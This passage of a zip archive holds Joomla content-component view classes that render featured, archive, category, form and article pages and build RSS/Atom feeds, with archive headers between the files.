// phpcs:enable PSR1.Files.SideEffects

/**
 * Frontpage View class
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The model state
     *
     * @var  \Joomla\CMS\Object\CMSObject
     */
    protected $state = null;

    /**
     * The featured articles array
     *
     * @var  \stdClass[]
     */
    protected $items = null;

    /**
     * The pagination object.
     *
     * @var  \Joomla\CMS\Pagination\Pagination
     */
    protected $pagination = null;

    /**
     * The featured articles to be displayed as lead items.
     *
     * @var  \stdClass[]
     */
    protected $lead_items = [];

    /**
     * The featured articles to be displayed as intro items.
     *
     * @var  \stdClass[]
     */
    protected $intro_items = [];

    /**
     * The featured articles to be displayed as link items.
     *
     * @var  \stdClass[]
     */
    protected $link_items = [];

    /**
     * @var    \Joomla\Database\DatabaseDriver
     *
     * @since  3.6.3
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Will be removed without replacement use database from the container instead
     *              Example: Factory::getContainer()->get(DatabaseInterface::class);
     */
    protected $db;

    /**
     * The user object
     *
     * @var \Joomla\CMS\User\User|null
     */
    protected $user = null;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        $user = $this->getCurrentUser();

        $state      = $this->get('State');
        $items      = $this->get('Items');
        $pagination = $this->get('Pagination');

        // Flag indicates to not add limitstart=0 to URL
        $pagination->hideEmptyLimitstart = true;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        /** @var \Joomla\Registry\Registry $params */
        $params = &$state->params;

        // PREPARE THE DATA

        // Get the metrics for the structural page layout.
        $numLeading = (int) $params->def('num_leading_articles', 1);
        $numIntro   = (int) $params->def('num_intro_articles', 4);

        PluginHelper::importPlugin('content');

        // Compute the article slugs and prepare introtext (runs content plugins).
        foreach ($items as &$item) {
            $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;

            // No link for ROOT category
            if ($item->parent_alias === 'root') {
                $item->parent_id = null;
            }

            $item->event = new \stdClass();

            // Old plugins: Ensure that text property is available
            if (!isset($item->text)) {
                $item->text = $item->introtext;
            }

            Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.featured', &$item, &$item->params, 0]);

            // Old plugins: Use processed text as introtext
            $item->introtext = $item->text;

            $results                        = Factory::getApplication()->triggerEvent('onContentAfterTitle', ['com_content.featured', &$item, &$item->params, 0]);
            $item->event->afterDisplayTitle = trim(implode("\n", $results));

            $results                           = Factory::getApplication()->triggerEvent('onContentBeforeDisplay', ['com_content.featured', &$item, &$item->params, 0]);
            $item->event->beforeDisplayContent = trim(implode("\n", $results));

            $results                          = Factory::getApplication()->triggerEvent('onContentAfterDisplay', ['com_content.featured', &$item, &$item->params, 0]);
            $item->event->afterDisplayContent = trim(implode("\n", $results));
        }

        // Preprocess the breakdown of leading, intro and linked articles.
        // This makes it much easier for the designer to just integrate the arrays.
        $max = count($items);

        // The first group is the leading articles.
        $limit = $numLeading;

        for ($i = 0; $i < $limit && $i < $max; $i++) {
            $this->lead_items[$i] = &$items[$i];
        }

        // The second group is the intro articles.
        $limit = $numLeading + $numIntro;

        // Order articles across, then down (or single column mode)
        for ($i = $numLeading; $i < $limit && $i < $max; $i++) {
            $this->intro_items[$i] = &$items[$i];
        }

        // The remainder are the links.
        for ($i = $numLeading + $numIntro; $i < $max; $i++) {
            $this->link_items[$i] = &$items[$i];
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

        $this->params     = &$params;
        $this->items      = &$items;
        $this->pagination = &$pagination;
        $this->user       = &$user;
        $this->db         = Factory::getDbo();

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     */
    protected function _prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }

        // Add feed links
        if ($this->params->get('show_feed_link', 1)) {
            $link    = '&format=feed&limitstart=';
            $attribs = ['type' => 'application/rss+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $this->getDocument()->addHeadLink(Route::_($link . '&type=rss'), 'alternate', 'rel', $attribs);
            $attribs = ['type' => 'application/atom+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $this->getDocument()->addHeadLink(Route::_($link . '&type=atom'), 'alternate', 'rel', $attribs);
        }
    }
}
PK���\�ؖ���*com_content/src/View/Featured/FeedView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Featured;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Document\Feed\FeedItem;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\AbstractView;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Frontpage View class
 *
 * @since  1.5
 */
class FeedView extends AbstractView
{
    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        // Parameters
        $app       = Factory::getApplication();
        $params    = $app->getParams();
        $feedEmail = $app->get('feed_email', 'none');
        $siteEmail = $app->get('mailfrom');

        $this->getDocument()->link = Route::_('index.php?option=com_content&view=featured');

        // Get some data from the model
        $app->getInput()->set('limit', $app->get('feed_limit'));
        $categories = Categories::getInstance('Content');
        $rows       = $this->get('Items');

        foreach ($rows as $row) {
            // Strip html from feed item title
            $title = htmlspecialchars($row->title, ENT_QUOTES, 'UTF-8');
            $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8');

            // Compute the article slug
            $row->slug = $row->alias ? ($row->id . ':' . $row->alias) : $row->id;

            // URL link to article
            $link = RouteHelper::getArticleRoute($row->slug, $row->catid, $row->language);

            $description = '';
            $obj         = json_decode($row->images);

            if (!empty($obj->image_intro)) {
                $description = '<p>' . HTMLHelper::_('image', $obj->image_intro, $obj->image_intro_alt) . '</p>';
            }

            $description .= ($params->get('feed_summary', 0) ? $row->introtext . $row->fulltext : $row->introtext);
            $author      = $row->created_by_alias ?: $row->author;

            // Load individual item creator class
            $item           = new FeedItem();
            $item->title    = $title;
            $item->link     = Route::_($link);
            $item->date     = $row->publish_up;
            $item->category = [];

            // All featured articles are categorized as "Featured"
            $item->category[] = Text::_('JFEATURED');

            for ($item_category = $categories->get($row->catid); $item_category !== null; $item_category = $item_category->getParent()) {
                // Only add non-root categories
                if ($item_category->id > 1) {
                    $item->category[] = $item_category->title;
                }
            }

            $item->author = $author;

            if ($feedEmail === 'site') {
                $item->authorEmail = $siteEmail;
            } elseif ($feedEmail === 'author') {
                $item->authorEmail = $row->author_email;
            }

            // Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists
            if (!$params->get('feed_summary', 0) && $params->get('feed_show_readmore', 0) && $row->fulltext) {
                $link = Route::_($link, true, $app->get('force_ssl') == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE, true);
                $description .= '<p class="feed-readmore"><a target="_blank" href="' . $link . '" rel="noopener">'
                    . Text::_('COM_CONTENT_FEED_READMORE') . '</a></p>';
            }

            // Load item description and add div
            $item->description = '<div class="feed-description">' . $description . '</div>';

            // Loads item info into rss array
            $this->getDocument()->addItem($item);
        }
    }
}
PK���\���BB,com_content/src/View/Categories/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Categories;

use Joomla\CMS\MVC\View\CategoriesView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content categories view.
 *
 * @since  1.5
 */
class HtmlView extends CategoriesView
{
    /**
     * Language key for default page heading
     *
     * @var    string
     * @since  3.2
     */
    protected $pageHeading = 'JGLOBAL_ARTICLES';

    /**
     * @var    string  The name of the extension for the category
     * @since  3.2
     */
    protected $extension = 'com_content';
}
PK���\���/DD&com_content/src/View/Form/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Form;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Plugin\PluginHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML Article View class for the Content component
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The Form object
     *
     * @var  \Joomla\CMS\Form\Form
     */
    protected $form;

    /**
     * The item being created
     *
     * @var  \stdClass
     */
    protected $item;

    /**
     * The page to return to after the article is submitted
     *
     * @var  string
     */
    protected $return_page = '';

    /**
     * The model state
     *
     * @var  \Joomla\CMS\Object\CMSObject
     */
    protected $state;

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The user object
     *
     * @var \Joomla\CMS\User\User
     *
     * @since  4.0.0
     */
    protected $user = null;

    /**
     * Should we show a captcha form for the submission of the article?
     *
     * @var    boolean
     *
     * @since  3.7.0
     */
    protected $captchaEnabled = false;

    /**
     * Should we show Save As Copy button?
     *
     * @var    boolean
     * @since  4.1.0
     */
    protected $showSaveAsCopy = false;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void|boolean
     */
    public function display($tpl = null)
    {
        $app  = Factory::getApplication();
        $user = $app->getIdentity();

        // Get model data.
        $this->state       = $this->get('State');
        $this->item        = $this->get('Item');
        $this->form        = $this->get('Form');
        $this->return_page = $this->get('ReturnPage');

        if (empty($this->item->id)) {
            $catid = $this->state->params->get('catid');

            if ($this->state->params->get('enable_category') == 1 && $catid) {
                $authorised = $user->authorise('core.create', 'com_content.category.' . $catid);
            } else {
                $authorised = $user->authorise('core.create', 'com_content') || count($user->getAuthorisedCategories('com_content', 'core.create'));
            }
        } else {
            $authorised = $this->item->params->get('access-edit');
        }

        if ($authorised !== true) {
            $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $app->setHeader('status', 403, true);

            return false;
        }

        $this->item->tags = new TagsHelper();

        if (!empty($this->item->id)) {
            $this->item->tags->getItemTags('com_content.article', $this->item->id);

            $this->item->images = json_decode($this->item->images);
            $this->item->urls   = json_decode($this->item->urls);

            $tmp         = new \stdClass();
            $tmp->images = $this->item->images;
            $tmp->urls   = $this->item->urls;
            $this->form->bind($tmp);
        }

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Create a shortcut to the parameters.
        $params = &$this->state->params;

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

        $this->params = $params;

        // Override global params with article specific params
        $this->params->merge($this->item->params);
        $this->user   = $user;

        // Propose current language as default when creating new article
        if (empty($this->item->id) && Multilanguage::isEnabled() && $params->get('enable_category') != 1) {
            $lang = $this->getLanguage()->getTag();
            $this->form->setFieldAttribute('language', 'default', $lang);
        }

        $captchaSet = $params->get('captcha', Factory::getApplication()->get('captcha', '0'));

        foreach (PluginHelper::getPlugin('captcha') as $plugin) {
            if ($captchaSet === $plugin->name) {
                $this->captchaEnabled = true;
                break;
            }
        }

        // If the article is being edited and the current user has permission to create article
        if (
            $this->item->id
            && ($user->authorise('core.create', 'com_content') || \count($user->getAuthorisedCategories('com_content', 'core.create')))
        ) {
            $this->showSaveAsCopy = true;
        }

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     */
    protected function _prepareDocument()
    {
        $app   = Factory::getApplication();

        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = $app->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_CONTENT_FORM_EDIT_ARTICLE'));
        }

        $title = $this->params->def('page_title', Text::_('COM_CONTENT_FORM_EDIT_ARTICLE'));

        $this->setDocumentTitle($title);

        $app->getPathway()->addItem($title);

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\�$����)com_content/src/View/Archive/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Archive;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Plugin\PluginHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Content component
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The model state
     *
     * @var   \Joomla\CMS\Object\CMSObject
     */
    protected $state = null;

    /**
     * An array containing archived articles
     *
     * @var   \stdClass[]
     */
    protected $items = [];

    /**
     * The pagination object
     *
     * @var   \Joomla\CMS\Pagination\Pagination|null
     */
    protected $pagination = null;

    /**
     * The years that are available to filter on.
     *
     * @var   array
     *
     * @since 3.6.0
     */
    protected $years = [];

    /**
     * Object containing the year, month and limit field to be displayed
     *
     * @var    \stdClass|null
     *
     * @since  4.0.0
     */
    protected $form = null;

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * The search query used on any archived articles (note this may not be displayed depending on the value of the
     * filter_field component parameter)
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $filter = '';

    /**
     * The user object
     *
     * @var    \Joomla\CMS\User\User
     *
     * @since  4.0.0
     */
    protected $user = null;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @throws  GenericDataException
     */
    public function display($tpl = null)
    {
        $app        = Factory::getApplication();
        $user       = $this->getCurrentUser();
        $state      = $this->get('State');
        $items      = $this->get('Items');
        $pagination = $this->get('Pagination');

        if ($errors = $this->getModel()->getErrors()) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Flag indicates to not add limitstart=0 to URL
        $pagination->hideEmptyLimitstart = true;

        // Get the page/component configuration
        $params = &$state->params;

        PluginHelper::importPlugin('content');

        foreach ($items as $item) {
            $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;

            // No link for ROOT category
            if ($item->parent_alias === 'root') {
                $item->parent_id = null;
            }

            $item->event = new \stdClass();

            // Old plugins: Ensure that text property is available
            if (!isset($item->text)) {
                $item->text = $item->introtext;
            }

            Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.archive', &$item, &$item->params, 0]);

            // Old plugins: Use processed text as introtext
            $item->introtext = $item->text;

            $results                        = Factory::getApplication()->triggerEvent('onContentAfterTitle', ['com_content.archive', &$item, &$item->params, 0]);
            $item->event->afterDisplayTitle = trim(implode("\n", $results));

            $results                           = Factory::getApplication()->triggerEvent('onContentBeforeDisplay', ['com_content.archive', &$item, &$item->params, 0]);
            $item->event->beforeDisplayContent = trim(implode("\n", $results));

            $results                          = Factory::getApplication()->triggerEvent('onContentAfterDisplay', ['com_content.archive', &$item, &$item->params, 0]);
            $item->event->afterDisplayContent = trim(implode("\n", $results));
        }

        $form = new \stdClass();

        // Month Field
        $months = [
            ''   => Text::_('COM_CONTENT_MONTH'),
            '1'  => Text::_('JANUARY_SHORT'),
            '2'  => Text::_('FEBRUARY_SHORT'),
            '3'  => Text::_('MARCH_SHORT'),
            '4'  => Text::_('APRIL_SHORT'),
            '5'  => Text::_('MAY_SHORT'),
            '6'  => Text::_('JUNE_SHORT'),
            '7'  => Text::_('JULY_SHORT'),
            '8'  => Text::_('AUGUST_SHORT'),
            '9'  => Text::_('SEPTEMBER_SHORT'),
            '10' => Text::_('OCTOBER_SHORT'),
            '11' => Text::_('NOVEMBER_SHORT'),
            '12' => Text::_('DECEMBER_SHORT'),
        ];
        $form->monthField = HTMLHelper::_(
            'select.genericlist',
            $months,
            'month',
            [
                'list.attr'   => 'class="form-select"',
                'list.select' => $state->get('filter.month'),
                'option.key'  => null,
            ]
        );

        // Year Field
        $this->years = $this->getModel()->getYears();
        $years       = [];
        $years[]     = HTMLHelper::_('select.option', null, Text::_('JYEAR'));

        for ($i = 0, $iMax = count($this->years); $i < $iMax; $i++) {
            $years[] = HTMLHelper::_('select.option', $this->years[$i], $this->years[$i]);
        }

        $form->yearField = HTMLHelper::_(
            'select.genericlist',
            $years,
            'year',
            ['list.attr' => 'class="form-select"', 'list.select' => $state->get('filter.year')]
        );
        $form->limitField = $pagination->getLimitBox();

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

        $this->filter     = $state->get('list.filter');
        $this->form       = &$form;
        $this->items      = &$items;
        $this->params     = &$params;
        $this->user       = &$user;
        $this->pagination = &$pagination;
        $this->pagination->setAdditionalUrlParam('month', $state->get('filter.month'));
        $this->pagination->setAdditionalUrlParam('year', $state->get('filter.year'));
        $this->pagination->setAdditionalUrlParam('filter-search', $state->get('list.filter'));
        $this->pagination->setAdditionalUrlParam('catid', $app->getInput()->get->get('catid', [], 'array'));

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     */
    protected function _prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\8�[L��*com_content/src/View/Category/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Category;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\CategoryView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Content component
 *
 * @since  1.5
 */
class HtmlView extends CategoryView
{
    /**
     * @var    array  Array of leading items for blog display
     * @since  3.2
     */
    protected $lead_items = [];

    /**
     * @var    array  Array of intro items for blog display
     * @since  3.2
     */
    protected $intro_items = [];

    /**
     * @var    array  Array of links in blog display
     * @since  3.2
     */
    protected $link_items = [];

    /**
     * @var    string  The name of the extension for the category
     * @since  3.2
     */
    protected $extension = 'com_content';

    /**
     * @var    string  Default title to use for page title
     * @since  3.2
     */
    protected $defaultPageTitle = 'JGLOBAL_ARTICLES';

    /**
     * @var    string  The name of the view to link individual items to
     * @since  3.2
     */
    protected $viewName = 'article';

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        parent::commonCategoryDisplay();

        // Flag indicates to not add limitstart=0 to URL
        $this->pagination->hideEmptyLimitstart = true;

        // Prepare the data
        // Get the metrics for the structural page layout.
        $params     = $this->params;
        $numLeading = $params->def('num_leading_articles', 1);
        $numIntro   = $params->def('num_intro_articles', 4);
        $numLinks   = $params->def('num_links', 4);
        $this->vote = PluginHelper::isEnabled('content', 'vote');

        PluginHelper::importPlugin('content');

        $app     = Factory::getApplication();

        // Compute the article slugs and prepare introtext (runs content plugins).
        foreach ($this->items as $item) {
            $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;

            // No link for ROOT category
            if ($item->parent_alias === 'root') {
                $item->parent_id = null;
            }

            $item->event   = new \stdClass();

            // Old plugins: Ensure that text property is available
            if (!isset($item->text)) {
                $item->text = $item->introtext;
            }

            $app->triggerEvent('onContentPrepare', ['com_content.category', &$item, &$item->params, 0]);

            // Old plugins: Use processed text as introtext
            $item->introtext = $item->text;

            $results                        = $app->triggerEvent('onContentAfterTitle', ['com_content.category', &$item, &$item->params, 0]);
            $item->event->afterDisplayTitle = trim(implode("\n", $results));

            $results                           = $app->triggerEvent('onContentBeforeDisplay', ['com_content.category', &$item, &$item->params, 0]);
            $item->event->beforeDisplayContent = trim(implode("\n", $results));

            $results                          = $app->triggerEvent('onContentAfterDisplay', ['com_content.category', &$item, &$item->params, 0]);
            $item->event->afterDisplayContent = trim(implode("\n", $results));
        }

        // For blog layouts, preprocess the breakdown of leading, intro and linked articles.
        // This makes it much easier for the designer to just interrogate the arrays.
        if ($params->get('layout_type') === 'blog' || $this->getLayout() === 'blog') {
            foreach ($this->items as $i => $item) {
                if ($i < $numLeading) {
                    $this->lead_items[] = $item;
                } elseif ($i >= $numLeading && $i < $numLeading + $numIntro) {
                    $this->intro_items[] = $item;
                } elseif ($i < $numLeading + $numIntro + $numLinks) {
                    $this->link_items[] = $item;
                }
            }
        }

        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $active = $app->getMenu()->getActive();

        if ($this->menuItemMatchCategory) {
            $this->params->def('page_heading', $this->params->get('page_title', $active->title));
            $title = $this->params->get('page_title', $active->title);
        } else {
            $this->params->def('page_heading', $this->category->title);
            $title = $this->category->title;
            $this->params->set('page_title', $title);
        }

        if (empty($title)) {
            $title = $this->category->title;
        }

        $this->setDocumentTitle($title);

        if ($this->category->metadesc) {
            $this->getDocument()->setDescription($this->category->metadesc);
        } elseif ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }

        if (!is_object($this->category->metadata)) {
            $this->category->metadata = new Registry($this->category->metadata);
        }

        if (($app->get('MetaAuthor') == '1') && $this->category->get('author', '')) {
            $this->getDocument()->setMetaData('author', $this->category->get('author', ''));
        }

        $mdata = $this->category->metadata->toArray();

        foreach ($mdata as $k => $v) {
            if ($v) {
                $this->getDocument()->setMetaData($k, $v);
            }
        }

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     */
    protected function prepareDocument()
    {
        parent::prepareDocument();

        parent::addFeed();

        if ($this->menuItemMatchCategory) {
            // If the active menu item is linked directly to the category being displayed, no further process is needed
            return;
        }

        // Get ID of the category from active menu item
        $menu = $this->menu;

        if (
            $menu && $menu->component == 'com_content' && isset($menu->query['view'])
            && in_array($menu->query['view'], ['categories', 'category'])
        ) {
            $id = $menu->query['id'];
        } else {
            $id = 0;
        }

        $path     = [['title' => $this->category->title, 'link' => '']];
        $category = $this->category->getParent();

        while ($category !== null && $category->id !== 'root' && $category->id != $id) {
            $path[]   = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)];
            $category = $category->getParent();
        }

        $path = array_reverse($path);

        foreach ($path as $item) {
            $this->pathway->addItem($item['title'], $item['link']);
        }
    }
}
PK���\��y��
�
*com_content/src/View/Category/FeedView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Category;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\CategoryFeedView;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Content component
 *
 * @since  1.5
 */
class FeedView extends CategoryFeedView
{
    /**
     * @var    string  The name of the view to link individual items to
     *
     * @since  3.2
     */
    protected $viewName = 'article';

    /**
     * Method to reconcile non-standard names from components to usage in this class.
     * Typically overridden in the component feed view class.
     *
     * @param   object  $item  The item for a feed, an element of the $items array.
     *
     * @return  void
     *
     * @since   3.2
     */
    protected function reconcileNames($item)
    {
        // Get description, intro_image, author and date
        $app               = Factory::getApplication();
        $params            = $app->getParams();
        $item->description = '';
        $obj               = json_decode($item->images);

        if (!empty($obj->image_intro)) {
            $item->description = '<p>' . HTMLHelper::_('image', $obj->image_intro, $obj->image_intro_alt) . '</p>';
        }

        $item->description .= ($params->get('feed_summary', 0) ? $item->introtext . $item->fulltext : $item->introtext);

        // Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists
        if (!$item->params->get('feed_summary', 0) && $item->params->get('feed_show_readmore', 0) && $item->fulltext) {
            // Compute the article slug
            $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;

            // URL link to article
            $link = Route::_(
                RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language),
                true,
                $app->get('force_ssl') == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE,
                true
            );

            $item->description .= '<p class="feed-readmore"><a target="_blank" href="' . $link . '" rel="noopener">'
                . Text::_('COM_CONTENT_FEED_READMORE') . '</a></p>';
        }

        $item->author = $item->created_by_alias ?: $item->author;
    }
}
PK���\w����0�0)com_content/src/View/Article/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Article;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Site\Helper\AssociationHelper;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Event\Event;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML Article View class for the Content component
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The article object
     *
     * @var  \stdClass
     */
    protected $item;

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * Should the print button be displayed or not?
     *
     * @var   boolean
     */
    protected $print = false;

    /**
     * The model state
     *
     * @var   \Joomla\CMS\Object\CMSObject
     */
    protected $state;

    /**
     * The user object
     *
     * @var   \Joomla\CMS\User\User|null
     */
    protected $user = null;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The flag to mark if the active menu item is linked to the being displayed article
     *
     * @var boolean
     */
    protected $menuItemMatchArticle = false;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        if ($this->getLayout() == 'pagebreak') {
            parent::display($tpl);

            return;
        }

        $app  = Factory::getApplication();
        $user = $this->getCurrentUser();

